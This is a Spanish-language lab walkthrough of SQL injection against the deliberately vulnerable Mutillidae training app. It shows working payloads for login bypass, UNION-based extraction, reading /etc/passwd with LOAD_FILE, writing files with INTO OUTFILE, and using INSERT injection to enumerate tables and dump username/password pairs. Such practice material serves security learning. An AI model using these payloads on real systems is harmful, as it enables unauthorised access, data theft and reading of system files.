Algunas de estas pruebas son realizadas en la versión 2.1.19 y otras en 2.6.42, es por lo que en algunas ocasiones si se prueba la injection y no funciona es porque tiene algunos errores la última
SQLi - Extract Data --> User Info
' or 1=1#
En el campo Name. (Podemos causar un fallo para ver la composición del query)
Ahora podriamos por ejemplo leer archios en el sistema, primero ver que select hace el query, osea, necesitamos saber cuantas columnas son elegidas, pero probocando el error vemos que las selecciona todas
SELECT * FROM
Así que probramos con el ' order by n# donde n ira en aumento hasta causar un error de sql, y la anterior será las columnos de la tabla(5)
' union select 1,LOAD_FILE('/etc/passwd'),3,4,5#
' union select null,1,null,null,null INTO DUMPFILE'probando.txt'# para evitar saltos de linea,etc..
' union select null,1,null,null,null INTO OUTFILE'probando.txt'#
' union select null,table_name,null,null,null from information_schema.tables#
' union select null,table_name,null,null,null from information_schema.tables where table_schema!='mysql' and table_schema!='information_schema'#
Y así hasta conseguir los datos buscados.
A ver que más se nos ocurre....
SQLi - Byspass Authentication --> Login
' or 1=1#
Estamos identificados como admin tanto si lo ponemos en el campo Name como Password. Pero queremos identificarnos como alguien que sabemos que está registrado, para ello ponemos:
' or 1=1 and username='sierra'#
vale tanto en el campo Name como en el password, eso si, sabiendo que sierra se ha registrado, o bien utilizar algún otro que venga ya en el sistema.
Para introducir cadenas más largas de las permitidas, hay que utilizar el Inspector del Firefox.
SQLi - Insert injection --> Add to your blog (Mutillidae 2.6.42)
Empezamos forzando un error poniendo unas comillas simples, así vemos la construcción del query.
'
INSERT INTO blogs_table(blogger_name, comment, date) VALUES ('anonymous', ''', now() )
Ahora creamos la injection para postear un comentario pero cambiando la fecha, de esta manera
sierra estuvo aquí' , "2020-03-01 22:27:11")#
Vemos que ha entrado la injection, asi que ahora vamos a concatenar el INSERT INTO para postear doble
sierra', '0'), ('anonymous',database(),'2020-03-01 22:27:11' ) #
nowasp obtenemos en Comment del blog, así podriamos estar sacando info variada, pero vamos a sacar lo interesante, las tablas de la base de datos nowasp.
sierra', '0'), ('anonymous',(SELECT table_name FROM information_schema.tables WHERE table_schema="nowasp" LIMIT 0 ,1 ),'0' ) #
accounts
Usamos LIMIT pues solo podemos arrojar un campo. Ya no pongo fecha ¿para que?, lo dejo en '0' y listo.
Ahora lo mismo con la segunda tabla:
sierra', '0'), ('anonymous',(SELECT table_name FROM information_schema.tables WHERE table_schema="nowasp" LIMIT 1 ,1 ),'0' ) #
balloon_tips
Y así hasta sacarlas todas (habrá un error cuando no haya mas tablas)
Vayamos a sacar las columnas de la tabla accounts que parece la más interesante
Sierra', '0'), ('anonymous',(SELECT column_name FROM information_schema.columns WHERE table_name="accounts" LIMIT 0 ,1 ),'0' ) #
cid
La siguiente:
Sierra', '0'), ('anonymous',(SELECT column_name FROM information_schema.columns WHERE table_name="accounts" LIMIT 1 ,1 ),'0' ) #
username
Y así todas las columnas, donde nos quedamos con las interesante, username, password
y vamos a sacar registro por registro pares de username y password
Sierra', '0'), ('anonymous',(select username from accounts LIMIT 0,1),'0' ) #
admin
Sierra', '0'), ('anonymous',(select password from accounts LIMIT 0,1),'0' ) #
adminpass
Y así podriamos ir sacando registro tras registro de todo lo que nos interese. Aunque si conocemos el username de alguien que nos interesa su password, podremos abreviar haciendo
Sierra', '0'), ('anonymous',(select password from accounts where username="jeremy"),'0' ) #
password
También podremos hacer esto
sierra', '0'), ('anonymous',LOAD_FILE("/etc/passwd"),'2020-03-01 22:27:11' ) #
Con lo que tendremos el archivo passwd.